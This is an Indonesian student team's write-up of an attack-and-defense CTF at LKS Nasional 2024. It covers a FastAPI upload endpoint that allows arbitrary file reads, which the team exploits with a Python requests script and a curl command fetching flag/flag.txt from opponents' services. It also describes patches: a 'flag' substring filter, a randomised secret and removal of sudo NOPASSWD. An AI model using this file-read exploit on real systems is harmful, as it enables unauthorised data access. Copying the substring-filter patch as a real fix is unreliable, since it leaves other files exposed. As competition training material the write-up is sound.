WriteUp Attack N Defense Nasional
LKS Nasional 2024
Provinsi Jawa Timur

SMKS TELKOM MALANG

DANIEL DHANISWARA
FARHAN DIWAN ANANTA

Daftar Isi

[Attack]

Port 8000

Overview

Berikut adalah vuln sourcenya.

```
<redacted>

@app.post("/upload")
async def upload_file(filename: Optional[str], file: Optional[UploadFile] = None):
    try:
        if not filename:
            filename = str(uuid.uuid4())
        if filename in files:
            return {"filename": filename, "content": files[filename]}
        if os.path.isfile(filename):
            return {"filename": filename, "content": open(filename).read()}
        content = await file.read()
        files[filename] = content
        return {"filename": filename, "content": content}
    except:
        return {"error": "upload a file"}

<redacted>
```

dari code tersebut terdapat sebuah fungsi yang menghandle tentang upload file yang memiliki parameter filename yang berpotensi memiliki vulnerability dan pengkondisian di sini

```
if filename in files:
            return {"filename": filename, "content": files[filename]}
        if os.path.isfile(filename):
            return {"filename": filename, "content": open(filename).read()}
        content = await file.read()
        files[filename] = content
        return {"filename": filename, "content": content}
```

jika parameter filenamenya yang diupload sama dengan flag/flag.txt maka akan return content dari flagnya.

payload

```
import requests

url = "http://<IP LAWAN>:8000/upload"
upload_response = requests.post(url, params={"filename":
"flag/flag.txt"})
print(upload_response.text)
```

bukti

penjelasan singkat tentang codenya adalah request post ke /upload dengan params={"filename": "flag/flag.txt"} akan return isi content flagnya, contoh curlnya seperti berikut

```
curl -X POST
http://10.0.32.**:8000/upload?filename=flag/flag.txt
```

setelah itu, kami buat automation nya seperti berikut.
payload.py

[Patching]

Port 8000 part 1

Overview

ingat function ini vulnerable? ya mari kita patch

```
<redacted>

@app.post("/upload")
async def upload_file(filename: Optional[str], file: Optional[UploadFile] = None):
    try:
        if not filename:
            filename = str(uuid.uuid4())
        if filename in files:
            return {"filename": filename, "content": files[filename]}
        if os.path.isfile(filename):
            return {"filename": filename, "content": open(filename).read()}
        content = await file.read()
        files[filename] = content
        return {"filename": filename, "content": content}
    except:
        return {"error": "upload a file"}

<redacted>
```

karena inti dari code tersebut jika `params={"filename": "flag/flag.txt"}` maka kita buat agar peserta lain tidak bisa mendapatkan isi dari content nya berupa flag dengan cara

```
<redacted>

if "flag" in filename:
        return {"filename": filename, "content": filename}

<redacted>
```

hehe, nah kalau gini setiap filename yang mengandung kata “flag” content pada responnya akan menjadi filename hehe…

Port 8000 part 2

Overview

```
<redacted>

app = FastAPI()
flag_path = os.getcwd() + '/flag/flag.txt'
secret = "VERY_SECURE"

<redacted>
```

secretnya hardcode dan menggunakan secret VERY_SECURE untuk dapat flag di /data (maybe), tapi setelah dicoba sih ngga bisa hehe wrong token mulu, yasudah itu secret yang di hardcode diganti dengan `os.urandom(8)` biar tambah pusing yang mau nyerang

```
<redacted>

app = FastAPI()
flag_path = os.getcwd() + '/flag/flag.txt'
secret = os.urandom(8)’

<redacted>
```

ROOT

Disclaimer di awal, kami kelupaan untuk screenshot cara pengerjaannya jadi ada beberapa parts yang kita lupa 😁.
Untuk patch root, kita ganti passwordnya terlebih dahulu dengan command

```
passwd
```

kemudian masukkan password yang diinginkan.
Setelah itu ternyata kita masih bisa login ke user root tanpa password dengan command

```
sudo -u root -s
```

ternyata user sudo memiliki privilege untuk menjalankan command sudo tanpa perlu password, maka dari itu kita ubah sedikit konfigurasi sudonya yang berada di /etc/sudoers.d/90-(kelupan hehe 😁)
yang awalnya

```
ubuntu  ALL=(ALL:ALL) NOPASSWD: ALL
```

kemudian kita hapus nopasswdnya

```
ubuntu  ALL=(ALL:ALL) ALL
```

[Get Self Flag]

Karena kita punya permission untuk login sebagai user root kita bisa mencari lokasi atau path dari semua flag.txt yang ada dengan command

```
sudo find / -name "flag.txt" 2>&1
```

setelah itu kita bikin automasi untuk agar kita tidak perlu untuk submit flag secara manual

selfFlag.py

Terima Kasih <3
JATIM JAYA JAYA JAYA
Love from Telkom Schools